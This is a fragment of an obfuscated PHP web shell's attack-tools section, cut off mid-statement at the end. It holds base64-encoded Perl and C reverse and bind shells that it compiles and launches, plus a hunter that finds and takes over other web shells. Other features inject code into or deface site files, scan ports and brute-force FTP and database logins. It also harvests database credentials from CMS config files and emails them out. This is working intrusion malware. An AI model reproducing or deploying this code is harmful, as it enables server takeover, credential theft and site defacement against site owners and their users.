$bckcon_pl="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2VjaG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHRhcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNURElOKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw=="; $bckcon_c="I2luY2x1ZGUgPHN0ZGlvLmg+CiNpbmNsdWRlIDxzeXMvc29ja2V0Lmg+CiNpbmNsdWRlIDxuZXRpbmV0L2luLmg+CmludCBtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pCnsKIGludCBmZDsKIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47CiBjaGFyIHJtc1syMV09InJtIC1mICI7IAogZGFlbW9uKDEsMCk7CiBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7CiBzaW4uc2luX3BvcnQgPSBodG9ucyhhdG9pKGFyZ3ZbMl0pKTsKIHNpbi5zaW5fYWRkci5zX2FkZHIgPSBpbmV0X2FkZHIoYXJndlsxXSk7IAogYnplcm8oYXJndlsxXSxzdHJsZW4oYXJndlsxXSkrMStzdHJsZW4oYXJndlsyXSkpOyAKIGZkID0gc29ja2V0KEFGX0lORVQsIFNPQ0tfU1RSRUFNLCBJUFBST1RPX1RDUCkgOyAKIGlmICgoY29ubmVjdChmZCwgKHN0cnVjdCBzb2NrYWRkciAqKSAmc2luLCBzaXplb2Yoc3RydWN0IHNvY2thZGRyKSkpPDApIHsKICAgcGVycm9yKCJbLV0gY29ubmVjdCgpIik7CiAgIGV4aXQoMCk7CiB9CiBzdHJjYXQocm1zLCBhcmd2WzBdKTsKIHN5c3RlbShybXMpOyAgCiBkdXAyKGZkLCAwKTsKIGR1cDIoZmQsIDEpOwogZHVwMihmZCwgMik7CiBleGVjbCgiL2Jpbi9zaCIsInNoIiwgTlVMTCk7CiBjbG9zZShmZCk7IAp9Cgo="; $bndportsrcs=array("bndprt.pl"=>array("PERL", "perl %path"), "bndprt.c"=>array("C","%path")); $bcsrcs=array("bckcon.pl"=>array("PERL","perl %path %host %port"), "bckcon.c"=>array("C","%path %host %port")); if(!@isset($brtest1)) $brtest1=0; if(!@isset($brtest2)) $brtest2=0; if(!@isset($brtest3)) $brtest3=0; if(!@isset($brtest4)) $brtest4=0; $users=array(); if(@empty($brute_email)) $brute_email=z7x('2',"email"); if(@empty($dv_email)) $dv_email=z7x('2',"email"); if(@empty($cp_email)) $cp_email=z7x('2',"email"); if(@isset($brm)&&($brm=="2"||$brm=="3")){ $users=z6m(); } $brute_type["1"]=z9s("343"); if($bpasswd){ $brute_type["2"]=z9s("344"); $brute_type["3"]=z9s("345"); } $available_arr=array(); if($bftp) $available_arr["FTP"]="FTP"; if($bmysql) $available_arr["MySQL"]="MySQL"; if($bmssql) $available_arr["MSSQL"]="MSSQL"; if($bpostgres) $available_arr["PostgreSQL"]="PostgreSQL"; if($boracle) $available_arr["Oracle"]="Oracle"; if(!@isset($brh)) $brh=$saddr; if(!@isset($dvfiles)) $dvfiles="*conf*.php;*db*.php;"; if(!@isset($dvuser)) $dvuser="user"; if(!@isset($dvpass)) $dvpass="pass"; if(!@isset($dvhost)) $dvhost="host"; if(!@isset($dvbase)) $dvbase="base"; $arr_vars=array("var"=>"variable (\$var)","arrayvar1"=>"arrayvar ('var'=>)","arrayvar2"=>"arrayvar (['var']=>)","const"=>"constant (define)"); $rec_arr=array(); for($i=0;$i<10;$i++) $rec_arr[($i+1)]=($i+1)." DIRS"; $rec_arr["no"]="NO"; $arr_dvfind=array("dvdir"=>z9s("325")); $arr_method=array("cpdir"=>z9s("304")); if(($wwwdir=z3k())!==false){ $arr_dvfind["docroot"]=z9s("326"); $arr_method["cpdocroot"]=z9s("305"); } if($bpasswd){ $arr_dvfind["passwd"]=z9s("327"); $arr_method["cppasswd"]=z9s("306"); } $arr_sfuncs=array("glob"=>"glob"); if($nix && $sh_exec){ $arr_sfuncs["find"]="find"; } $inj_method=array( "top"=>"Top of the file" ,"end"=>"End of the file" ,"php1"=>"Before first <?" ,"html1"=>"Before <html>" ,"html2"=>"Before </html>" ,"body1"=>"Before <body.*>" ,"body2"=>"Before </body>" ,"php2"=>"After last ?>" ,"body3"=>"After <body.*>" ,"body4"=>"After </body>" ,"html3"=>"After <html>" ,"html4"=>"After </html>" ,"overwrite"=>"Deface (Overwrite file)" ); if(!@isset($bnd_port)||!@is_numeric($bnd_port)) $bnd_port=z7x('2','bind_port'); if(!@isset($bnd_pass)||@empty($bnd_pass)) $bnd_pass=z7x('2','bind_pass'); if(!@isset($bc_host)||@empty($bc_host)) $bc_host=$yaddr; if(!@isset($bc_port)||!@is_numeric($bc_port)) $bc_port=z7x('2','backcon_port'); $bindmsg=$bcmsg=""; if(@isset($bindsubmit)&&$bindsubmit){ $v=$bndportsrcs[$bnd_src]; if(@empty($v)){ $bindmsg=z9s("272"); }elseif(@fsockopen("localhost",$bnd_port,$errno,$errstr,0.1)){ $bindmsg=z9s("275",$bnd_port); }else{ $w=@explode(".",$bnd_src); $ext=$w[@count($w)-1]; unset($w[count($w)-1]); $srcpath=$tempdir.@join(".",$w).".".@md5(@time()).".".$ext; $binpath=$tempdir.@join(".",$w).@md5(@time()); if($ext=="pl"){ $binpath=$srcpath; } @unlink($srcpath); $fp=@fopen($srcpath,"ab+"); if(!$fp){ $bindmsg=z9s("271"); }else{ $data=@base64_decode(${@str_replace('.','_',$bnd_src)}); $data=@str_replace("%pass%",$bnd_pass,$data); $data=@str_replace("%port%",$bnd_port,$data); @fwrite($fp,$data,@strlen($data)); @fclose($fp); if($ext=="c"){ $retgcc=z9t("gcc -o ".$binpath." ".$srcpath); @unlink($srcpath); } $v[1]=@str_replace("%path",$binpath,$v[1]); $v[1]=@str_replace("//","/",$v[1]); $retbind=z9t($v[1]." > /dev/null &"); @sleep(5); $sock=@fsockopen("localhost",$bnd_port,$errno,$errstr,5); if(!$sock){ $bindmsg=z9s("273",$bnd_port); }else{ $bindmsg=z9s("274",array($saddr,$bnd_port)); } } } } if(@isset($bcsubmit)&&$bcsubmit){ $v=$bcsrcs[$bc_src]; if(@empty($v)){ $bcmsg=z9s("272"); }else{ $w=@explode(".",$bc_src); $ext=$w[count($w)-1]; unset($w[count($w)-1]); $srcpath=$tempdir.join(".",$w).".".@md5(@time()).".".$ext; $binpath=$tempdir.join(".",$w).@md5(@time()); if($ext=="pl"){ $binpath=$srcpath; } @unlink($srcpath); $fp=@fopen($srcpath,"ab+"); if(!$fp){ $bcmsg=z9s("271"); }else{ $data=@base64_decode(${str_replace('.','_',$bc_src)}); @fwrite($fp,$data,strlen($data)); fclose($fp); if($ext=="c"){ $retgcc=z9t("gcc -o ".$binpath." ".$srcpath); @unlink($srcpath); } $v[1]=@str_replace("%path",$binpath,$v[1]); $v[1]=@str_replace("%host",$bc_host,$v[1]); $v[1]=@str_replace("%port",$bc_port,$v[1]); $v[1]=@str_replace("//","/",$v[1]); $retbind=z9t($v[1]." > /dev/null &"); $bcmsg=z9s("76",array($bc_host,$bc_port)); } } } $selecta=$selectb=array(); foreach($bndportsrcs as $k=>$v) $selecta[$k]=$v[0]; foreach($bcsrcs as $k=>$v) $selectb[$k]=$v[0]; if(!$win&&($sh_exec||$safe_exec)){ echo z2b(array(z9s("265").(!@empty($bindmsg)?" - ".@strtoupper($bindmsg):""),z9s("266").(!@empty($bcmsg)?" - ".@strtoupper($bcmsg):"")),'46'); echo z9m(2).z7p().z7k('','4'); echo z5c(array("act"=>"tools","d","bindsubmit"=>"1"),z10e(z5n().z7i(z5t(z9s("267")).z9j(z6i("bnd_pass",$bnd_pass,'4').":".z6i("bnd_port",$bnd_port,'1').":".z4a("bnd_src",$selecta,'1',1).z8v(z9s("268"),'7'))).z5n(),'2')); echo z7g().z7k('','46'); echo z5c(array("act"=>"tools","d","bcsubmit"=>"1"),z10e(z5n().z7i(z5t(z9s("434")).z9j(z6i("bc_host",$bc_host,'4').":".z6i("bc_port",$bc_port,'1').":".z4a("bc_src",$selectb,'1',1).z8v(z9s("435"),'7'))).z5n(),"2")); echo z7g().z7u().z10w(); $ii=0; if(@is_dir($tempdir)){ if($dh=@opendir($tempdir)){ while(($file=@readdir($dh))!==false){ if(@preg_match('/^(bndprt|bckcon)\.?[a-zA-Z0-9]{32}/',$file)){ if(@isset($clean)){ @unlink($tempdir.$file); }else{ $ii++; } } } @closedir($dh); } } if($ii!=0) echo z2b(@strtoupper(z9s("269",$ii)).z5c(array("act"=>"tools","d","clean"=>"1"),z8v(z9s("270"),'7'))); } $pscmsg=''; $startscan=0; if(@isset($pscan)&&$pscan&&!@empty($pscip)&&@is_numeric($pscps)&&@is_numeric($pscpe)){ if($pscps<0||$pscps>65535||$pscpe<0||$pscpe>65535){ $pscmsg=z9s("280"); } else { $startscan=1; } } echo z2b(array(z9s("281"),z9s("277").($pscmsg!=''?" : ".$pscmsg:'')),"46"); if(!@isset($pscip)) $pscip=$saddr; if(!@isset($pscps)) $pscps="0"; if(!@isset($pscpe)) $pscpe="65535"; echo z9m(2). z7p(). z7k('','4').z6d(). z9m('2'). z7z().z9b("shellhunt","1").z9b("act","tools").z9b("d"). z7i(z5t(z9s("282")).z9j(z4a("shaction",array("view"=>z9s("284"),"viewall"=>z9s("285"),"own"=>z9s("286"),"ownall"=>z9s("287")),"5",1).":".z4a("shrecursive",$rec_arr,"1",1).z8v(z9s("436"),"7"))). z7i(z5t(z9s("283")).z9j(z4a("hsfunc", $arr_sfuncs, "1", 1).":".z5u("shpath",$d,"2"))). z9z(). z10w(). z6d(). z7g().z7k('','46'). z6d(). z9m('2'). z5c(array("act"=>"tools","d","pscan"=>"1"),z7i(z5t(z9s("278")).z9j(z6i("pscip",$pscip,"4").":".z6i("pscps",$pscps,'1')."-".z6i("pscpe",$pscpe,'1').z8v(z9s("279"),'7')))). z10w(). z6d(). z7g(). z7u(). z10w(); if(@isset($shellhunt)&&$shellhunt){ $glob=$shells=array(); $glob=z5s($shpath,"*.php",$shrecursive,(($hsfunc=="find")?true:false)); if(@count($glob)>0){ $viewall=$rcown=0; switch($shaction){ case 'view': $viewall=$rcown=0; break; case 'viewall': $viewall=1; $rcown=0; break; case 'own': $viewall=0; $rcown=1; break; case 'ownall': $viewall=$rcown=1; break; default: $viewall=$rcown=0; break; } foreach($glob as $tmp){ if(($ttype=z2y($tmp,$viewall,$rcown))!==false){ $shells[$tmp]=$ttype; } } } if(@count($shells)>0){ if(($wwwdir=z3k())!==false){ $url=z8o(); $url_a=@parse_url($url); if(@isset($url_a["host"])){ $shellhost=$url_a["host"]; } } $external=1; echo z2b(z9s("288"),"1").z9m("2").z7i(z9j(z9s("292"),"13","2").z9j(z9s("293"),"13").z9j(z9s("294"),"13").z9j(z9s("295"),"13","3")); $tr=0; foreach($shells as $shell=>$shelltype){ $wwwlink="-"; if(@isset($shellhost)&&@strstr($shell,$wwwdir)!==false){ $wwwlink=z10y('http://'.$shellhost.'/'.@substr($shell, @strlen($wwwdir)).'"',z9s("296"),"1",1); } echo z7i(z9j(z2h($shell),"14","2").z9j($shelltype,"14").z9j($wwwlink,"14").z9j(z0h($shell,"1").z5c(array("act"=>"f","ft"=>"rcown","d"=>z3p($shell),"f"=>z2h($shell)),z8v(z9s("297"),"18"),"1"),"14","3"),($tr%2?'0':'1')); $tr++; } echo z10w(); } } if($startscan){ $pscan=z8c($pscip,$pscps,$pscpe); if(@!empty($pscan)){ echo z2b(z9s("289")); echo z6d().z10e(z7i(z6x(z5w('','1').$pscan.z5q())),'2').z6d(); } } echo z2b(array(z9s("298"),z9s("309")),"46"); echo z9m(2). z7p(). z7k('','4').z6d(). z9m('2'). z7z().z9b("cpfind","1").z9b("act","tools").z9b("d"). z7i(z5t(z9s("299")).z9j(z5u("cphost","127.0.0.1","5").":".z5u("cpuser","root","4").":".z4a("cpservice",$available_arr,"1",1))). z7i(z5t(z9s("300")).z9j(z5u("cpfiles","*conf*.php;*db*.php;","5").":".z4a("cpmethod",$arr_method,"4",1).":".z4a("cprecursive",$rec_arr,"1",1))). z7i(z5t(z9s("301")).z9j(z4a("csfunc", $arr_sfuncs, "1", 1).":".z5u("cpdir",$d,"2"))). ($bmail?z7i(z5t(z9s("302")).z9j(z5u("cp_email","",'2').z9g("cp_log"))):''). z7i(z5t(z9c()). z9j(z8v(z9s("307"),"7").z9c().z5y("cppassfile",z9s("303"),"cppassfile"))). z9z(). z10w(). z6d(). z7g().z7k('','46'). z6d(). z9m('2'). z7z().z9b("inject","1").z9b("act","tools").z9b("d"). z7i(z5t(z9s("310")).z9j(z5u("injfiles","*.html;index.php;","5").":".z4a("injmethod",$inj_method,"4",1).":".z4a("injrecursive",$rec_arr,"1",1))). z7i(z5t(z9s("311")).z9j(z4a("isfunc", $arr_sfuncs, "1", 1).":".z5u("injdir",$d,"2"))). z9f(z5t(z9s("312")).z9j(z5w("injcode","6").(@isset($injcode)?@htmlspecialchars($injcode):'').z5q())). z7i(z5t(z9c()). z9j(z8v(z9s("313"),"7"))). z9z(). z10w(). z6d(). z7g(). z7u(). z10w(); if(@isset($inject)&&$inject){ $glob=array(); $glob=z5s($injdir,$injfiles,$injrecursive,(($isfunc=="find")?true:false)); if(@count($glob)>0){ $i=0; foreach($glob as $file){ if(z4i($injcode,$injmethod,$file)){ if($i==0){ echo z2b(z9s("314")).z6d().z9m("2").z6g().z6w().z5w('','1'); z5p(); } echo $file."\r\n"; $i++; } } if($i>0) echo z5q().z7g().z7u().z10w().z6d(); } } if(@isset($cpfind)&&$cpfind&&(!@empty($cpuser)||$cpmethod=="cppasswd")){ echo z2b(z9s("308")).z6d(); echo z9m('2').z7p().z6w().z5w("","1"); z5p(); $glob=array(); switch($cpmethod){ case 'cpdir': $glob[$cpuser]=z5s($cpdir,$cpfiles,$cprecursive,(($csfunc=="find")?true:false)); break; case 'cpdocroot': $glob[$cpuser]=z5s(z1a($wwwdir),$cpfiles,$cprecursive,(($csfunc=="find")?true:false)); break; case 'cppasswd': $uarr=z6m(1); if(@count($uarr)>0){ foreach($uarr as $uk=>$arr){ if($arr[1]!='/'&&!@preg_match('#^(/var/run|/var/log|/var/cache|/var/mail|/var/cache|/var/backup|/usr/games|/lib|/var/lib|/var/tmp|/tmp|/dev|/proc|/sbin|/usr/sbin|/usr/local/sbin|/bin|/usr/bin|/usr/local/bin)#',$arr[1])&&z4j($arr[1])){ $glob[$arr[0]]=z5s(z1a($arr[1]),$cpfiles,$cprecursive,(($csfunc=="find")?true:false)); } } } unset($uarr); break; default: break; } if(@count($glob)>0){ foreach($glob as $user=>$file_arr){ if(@count($file_arr)>0){ foreach($file_arr as $tfile){ z1m($tfile,$user); } } } } $log=''; $found=0; if(@isset($passarray)&&@count($passarray)>0){ foreach($passarray as $user=>$passwords){ if(@count($passwords)>0){ foreach($passwords as $pass){ if(@isset($cppassfile)&&$cppassfile){ echo "$user $pass\r\n"; } else { if(!@isset($stop)) $stop=0; if($cpservice=="FTP"&&$bftp&&!$stop){ $test=z3h($cphost,$user,$pass,21,3); if($test=="failed"){ $stop=1; } elseif($test=="valid"){ $found++; $tmp = "host: $cphost\r\n"; $tmp .= "user: $user\r\n"; $tmp .= "pass: $pass\r\n"; $tmp .= "service: $cpservice\r\n\r\n"; echo $tmp; $log.=$tmp; } } else { if(z4u($cphost,$user,$pass,'',$cpservice)=="valid"){ $found++; $tmp = "host: $cphost\r\n"; $tmp .= "user: $user\r\n"; $tmp .= "pass: $pass\r\n"; $tmp .= "service: $cpservice\r\n\r\n"; echo $tmp; $log.=$tmp; } } } } } } } if($cp_log=="1"&&$found>0&&$bmail){ @mail($cp_email,"$cpservice|$cphost",$log); } echo z5q().z7u().z7g().z10w().z6d(); } $arr_cfgs=array(''=>"Select Software","joomla"=>"Joomla","opencart"=>"Opencart","osc"=>"Oscommerce","pinnaclecart"=>"Pinnaclecart","squirrelcart"=>"Squirrelcart","wordpress"=>"Wordpress","xcart"=>"X-cart","zencart"=>"Zen-cart","all"=>"All of above"); if(@isset($sqlfind)&&$sqlfind&&@isset($dvdefined)&&!@empty($dvdefined)&&@isset($dvpasswd)&&!@empty($dvpasswd)){ $dvcfgs="nVrkA0mFRDYCHunZ3cN9mLz5pNShsm0r8L4drmb0FTMSPnfIqA4j+Uq6gfLYuldrtsMMNTgK5UoZ3ViSZ5jne7teFyngMstdNqjRBr1NSDZgOnhkT05Hm25ikOaooEva9Wc965VdcbUYpnqs8xq5VDaKeBpRkS1VAxaLTKOr899pfM1pm/v7Rdctk4H0A4bXSxn5Lup5HAdjjl1EzocQXar6WsYumziDYD/EOBgmBiNVl/+kGwfPs64vQfzVuttfcY7tizzenPmMJgE8BGj2AZuXWtxnl3UO4CAPBOdtwkrv+PwMsYhffkEyh17eC3BufrqDkWAQhECUhs8dnp1R0g5/ByuJMebTOe9qwpDDh5goXgYhtjTthSEu4XShBdKNHg+ve/4/QhiJb0hSq8ezOZHCmW1PZ/0gyrywZx2aucGJeCZx3mxnfjiKAGHcnJaiFDV09dXZRuvfGe6SGiPq84bErZThDHORRs5Fz8NivUxj9m+WW7QRtak8EOUiIcTlbPIP85XIWob21V3v83fAAOAr9oJUJJ8gpdfqOLIyJyfa5Kvas2O1DHnvqoS6GsEGGrfnlXHoTeiw47nGeR4SoC7BFPu0hM3hnC4QPR8jrI7D5xYYO3wzK4uhJU4f5Ot8GuqNTsjE1LTyuBqJbeY4I5tcmQLsFYmqyGEQXP4NDExH7OlBMKSlpVkMEeLtouWDMdeAhiYiyWM20jy2VJi5xiQevlBfG/briKFxmCwNdmF2JexxL6qlRGn+Rdx9VYGFot2rxR7y2JTeViten/QNci1L4xAWoHaT1EMCd0zxP/ZYRcBgvzt4326NG1WBspNY6SeSnbBQvPoMcrnOjXHrARy1NyzAUHGhtWeBoFAlShuSA2c4cqGEQTrs1PPKxpTbBacuNLMmm+wvMNvBhdt2HTfZTjdYyEn0qEfOVPTWb8LWPKWxA/zIJ5OYeVH69g0b4CPNknHes4yNY6D7RxK905EY0DMMI1h8HY1n7r7ZvWd84O3VBf904vQUILRA/vhyRb7oKUHttyCruZoG4lgAQGg78PHaYugtc9SFu7Pq41Cn"; $ddcfgs=zrc4::zdec(@md5($dvpasswd), @base64_decode($dvcfgs)); if($dvdefined=="all"){ $arr_mass=array(); $arr_mass_paths=array(); foreach($arr_cfgs as $tcfg=>$tsoft){ if($tcfg!=''&&$tcfg!="all"){ $tddcfg=@explode("|".$tcfg."|",$ddcfgs); $tddcfg=@substr($tddcfg[1],0,@strpos($tddcfg[1],"|")); @list($tdvuser,$tdtuser,$tdvpass,$tdtpass,$tdvbase,$tdtbase,$tdvhost,$tdthost,$tdvfiles,)=@explode(",",$tddcfg); $arr_mass[$tsoft]=array($tdvuser,$tdtuser,$tdvpass,$tdtpass,$tdvbase,$tdtbase,$tdvhost,$tdthost); $tefiles=@explode(";",$tdvfiles); foreach($tefiles as $tefile){ $tefile=@trim($tefile); if(!@empty($tefile)&&!@in_array($tefile,$arr_mass_paths)) $arr_mass_paths[]=$tefile; } } } } else { if(@strpos($ddcfgs,"|".$dvdefined."|")!==false){ $ddcfg=@explode("|".$dvdefined."|",$ddcfgs); $ddcfg=@substr($ddcfg[1],0,@strpos($ddcfg[1],"|")); @list($dvuser,$dtuser,$dvpass,$dtpass,$dvbase,$dtbase,$dvhost,$dthost,$dvfiles,)=@explode(",",$ddcfg); } } } echo z2b(array(z9s("315"),z9s("337")),'46'); echo z9m(2). z7p(). z7k('','4'). z6d(). z9m('2'). z7z().z9b("sqlfind","1").z9b("act","tools").z9b("d"). z7i(z5t(z9s("316")).z9j(z5u("dvuser","","5").":".z4a("dtuser",$arr_vars,"4",1).z9c().z9s("328"))). z7i(z5t(z9s("317")).z9j(z5u("dvpass","","5").":".z4a("dtpass",$arr_vars,"4",1).z9c().z9s("328"))). z7i(z5t(z9s("318")).z9j(z5u("dvbase","","5").":".z4a("dtbase",$arr_vars,"4",1).z9c().z9s("329"))). z7i(z5t(z9s("319")).z9j(z5u("dvhost","","5").":".z4a("dthost",$arr_vars,"4",1).z9c().z9s("329"))). z7i(z5t(z9s("320")).z9j(z4a("dvdefined",$arr_cfgs,"5",1).":".z5u("dvpasswd","","4").z9c()."anti-lamerz :)")). z7i(z5t(z9s("321")).z9j(z5u("dvfiles","","5").":".z4a("dvfind",$arr_dvfind,"4",1).":".z4a("dtrecursive",$rec_arr,"1",1))). z7i(z5t(z9s("322")).z9j(z4a("dsfunc", $arr_sfuncs, "1", 1).":".z5u("dvdir",$d,"2"))). ($bmail?z7i(z5t(z9s("302")).z9j(z5u("dv_email","",'2').z9g("dv_log"))):''). z7i(z5t(z9c()). z9j(z8v(z9s("323"),"7").z9c().z5y("dvsqltest",z9s("324"),"dvsqltest"))). z9z(). z10w(). z6d(). z7g().z7k('','46'). z6d(). z9m('2'). z7z().z9b("startbrute","1").z9b("act","tools").z9b("d"). z7i(z5t(z9s("338")).z9j(z5u("brh","","4").":".z5u("brp","","6").":".z4a("bservice",$available_arr,"4",1))). z7i(z5t(z9s("339")). z9j(z5u("bru","",'4').":".z5u("brdb","",'5'))). z7i(z5t(z9s("340")). z9j(z9h("wordlist",'2'))). z7i(z5t(z9s("341")). z9j(z4a("brm",$brute_type,'2',1))). z7i(z5t(z9s("342")). z9j(z5y("brtest1","user:resu","brtest1").z9c(1).z5y("brtest2","user:user1","brtest2").z9c(1).z5y("brtest3","user:user123","brtest3"))). z7i(z5t(z9c()).z9j(z5y("brtest4","Transform password to p@55w0rd","brtest4"))). ($bmail?z7i(z5t(z9s("302")).z9j(z6i("brute_email",$brute_email,'2').z9g("brute_log"))):''). z7i(z5t(z9c()). z9j(z8v(z9s("346"),"7"))). z9z(). z10w(). z6d(). z7g(). z7u(). z10w(); if(@isset($startbrute)&&$startbrute){ $stop=0; echo z2b(z9s("347",$bservice,1)).z6d(); echo z9m('2').z7p().z6w().z5w("","1"); z5p(); $con=true; $show=0; $log=""; if($bservice=="FTP"){ $brp=(@preg_match("/^[0-9]{1,5}$/",$brp)?$brp:"21"); }elseif($bservice=="MySQL"){ $brp=(@preg_match("/^[0-9]{1,5}$/",$brp)?$brp:"3306"); } if($brm=="1"||$brm=="3"){ $dictionary=array(); $list=@fopen($_FILES['wordlist']['tmp_name'],'r'); if(@is_resource($list)){ while(!@feof($list)){ $dictionary[]=@trim(@fgets($list)); } @fclose($list); } $dictionary=@array_unique($dictionary); } if($bservice=="FTP"&&$bftp){ $time=3; $success=0; $count=0; if(!@empty($bru)&&!$stop){ $test=z2t($brh,$brp,$time,$brtest1,$brtest2,$brtest3,$brtest4,$bru); if(!$test) $stop=1; z2w($test[0],$test[1],$test[2]); } if(($brm=="2"||$brm=="3")&&!$stop){ foreach($users as $user){ $test=z2t($brh,$brp,$time,$brtest1,$brtest2,$brtest3,$brtest4,$user); if(!$test){ $stop=1; break; } z2w($test[0],$test[1],$test[2]); if($brm=="3"){ foreach($dictionary as $passwd){ $test=z2t($brh,$brp,$time,$brtest1,$brtest2,$brtest3,$brtest4,$user,$passwd); z2w($test[0],$test[1],$test[2]); } } } }else if($brm=="1"&&!@empty($bru)&&!$stop){ foreach($dictionary as $passwd){ $test=z2t($brh,$brp,$time,$brtest1,$brtest2,$brtest3,$brtest4,$bru,$passwd); if(!$test){ $stop=1; break; } z2w($test[0],$test[1],$test[2]); } } echo "\r\n--------------------\r\n"; echo z9s("426",$count)."\r\n"; echo z9s("427",$success)."\r\n"; }elseif($bmysql||$bmssql||$boracle||$bpostgres){ $success=0; $count=0; if(!@empty($bru)){ $test=z2e($brh,$brp,$bservice,$brtest1,$brtest2,$brtest3,$brtest4,$bru,NULL,(!@empty($brdb)?$brdb:'')); z2w($test[0],$test[1],$test[2]); } if($brm=="2"||$brm=="3"){ foreach($users as $user){ $test=z2e($brh,$brp,$bservice,$brtest1,$brtest2,$brtest3,$brtest4,$user,NULL,(!@empty($brdb)?$brdb:'')); z2w($test[0],$test[1],$test[2]); if($brm=="3"){ foreach($dictionary as $passwd){ $test=z2e($brh,$brp,$bservice,$brtest1,$brtest2,$brtest3,$brtest4,$user,$passwd,(!@empty($brdb)?$brdb:'')); z2w($test[0],$test[1],$test[2]); } } } }else if($brm=="1"&&!@empty($bru)){ foreach($dictionary as $passwd){ $test=z2e($brh,$brp,$bservice,$brtest1,$brtest2,$brtest3,$brtest4,$bru,$passwd,(!@empty($brdb)?$brdb:'')); z2w($test[0],$test[1],$test[2]); } } echo "\r\n--------------------\r\n"; echo z9s("426",$count)."\r\n"; echo z9s("427",$success)."\r\n"; echo $log; } if($brute_log=="1"&&$success>0){ @mail($brute_email,"$bservice|$brh:$brp",$log); } echo z5q().z7u().z7g().z10w().z6d(); } if(@isset($sqlfind)&&$sqlfind&&!@empty($dvuser)&&!@empty($dvpass)){ echo z2b(z9s("330")).z6d(); echo z9m('2').z7p().z6w().z5w("","1"); z5p(); $dpaths=$glob=array(); $farr=@explode(";",$dvfiles); if($dvdefined=="all"&&@isset($arr_mass_paths)&&@is_array($arr_mass_paths)&&@count($arr_mass_paths)>0){ $farr=$arr_mass_paths; } $wildcards=@implode(";",$farr); switch($dvfind){ case 'dvdir': $dpaths[]=z1a($dvdir); break; case 'docroot': $dpaths[]=z1a($wwwdir); break; case 'passwd': $uarr=z6m(1); if(@count($uarr)>0){ foreach($uarr as $uk=>$arr){ if(!@in_array($arr[1],$dpaths)&&$arr[1]!='/'&&!@preg_match('#^(/var/run|/var/log|/var/cache|/var/mail|/var/cache|/var/backup|/usr/games|/lib|/var/lib|/var/tmp|/tmp|/dev|/proc|/sbin|/usr/sbin|/usr/local/sbin|/bin|/usr/bin|/usr/local/bin)#',$arr[1])&&z4j($arr[1])) $dpaths[]=z1a($arr[1]); } } unset($uarr); break; default: break; } foreach($dpaths as $dpath){ $tglob=z5s($dpath,$wildcards,$dtrecursive,(($dsfunc=="find")?true:false)); if(@is_array($tglob)&&@count($tglob)>0){ foreach($tglob as $tfile){ if(!@in_array($tfile,$glob)) $glob[]=$tfile; } } } $glob=@array_unique($glob); unset($dpaths); if(@count($glob)>0){ $uhashes=array(); $log=''; $line=@str_repeat("-",100)."\r\n"; $final_arr=array(); foreach($glob as $file){ $tct=z9p($file); if(!@empty($tct)){ if($dvdefined=="all"&&@isset($arr_mass)&&@is_array($arr_mass)&&@count($arr_mass)>0){ foreach($arr_mass as $software=>$defines){ $base=""; $user=z4b($defines[1],$defines[0],$tct); $pass=z4b($defines[3],$defines[2],$tct); if(!@empty($defines[4])){ $base=z4b($defines[5],$defines[4],$tct); } if(!@empty($defines[6])){ $host=z4b($defines[7],$defines[6],$tct); } if(!@isset($host)||@empty($host)) $host="localhost"; if(!@empty($host)&&!@empty($user)&&!@empty($pass)){ $add=0; if(@isset($dvsqltest)&&$dvsqltest){ if(z4u($host,$user,$pass,"3306","MySQL")=="valid") $add=1; } else { $add=1; } if($add){ $tmphash=@md5($host.$user.$pass.$base); if(!@in_array($tmphash,$uhashes)){ $uhashes[]=$tmphash; $tmp = $line; $tmp .= "$file\r\n"; $tmp .= "Software tested: $software\r\n"; $tmp .= $line; $tmp .= "host: $host\r\n"; $tmp .= "user: $user\r\n"; $tmp .= "pass: $pass\r\n"; $tmp .= "database: $base\r\n\r\n"; echo $tmp; $log.=$tmp; if(!@isset($final_arr[$file])) $final_arr[$file]=array($host,$user,$pass,$base,$software); } break; } } } } else { $base=""; $user=z4b($dtuser,$dvuser,$tct); $pass=z4b($dtpass,$dvpass,$tct); if(!@empty($dvbase)){ $base=z4b($dtbase,$dvbase,$tct); } if(!@empty($dvhost)){ $host=z4b($dthost,$dvhost,$tct); } if(!@isset($host)||@empty($host)) $host="localhost"; if(!@empty($host)&&!@empty($user)&&!@empty($pass)){ $add=0; if(@isset($dvsqltest)&&$dvsqltest){ if(z4u($host,$user,$pass,"3306","MySQL")=="valid") $add=1; } else { $add=1; } if($add){ $tmphash=@md5($host.$user.$pass.$base); if(!@in_array($tmphash,$uhashes)){ $uhashes[]=$tmphash; $tmp = $line; $tmp .= "$file\r\n"; $tmp .= $line; $tmp .= "host: $host\r\n"; $tmp .= "user: $user\r\n"; $tmp .= "pass: $pass\r\n"; $tmp .= "database: $base\r\n\r\n"; echo $tmp; $log.=$tmp; if(!@isset($final_arr[$file])) $final_arr[$file]=array($host,$user,$pass,$base); } } } } } unset($tct); } } echo z5q().z7u().z7g().z10w().z6d(); if($dv_log=="1"&&$log!=''){ @mail($dv_email,"DBS|$saddr",$log); } } if(@isset($final_arr)&&@count($final_arr)>0){ echo 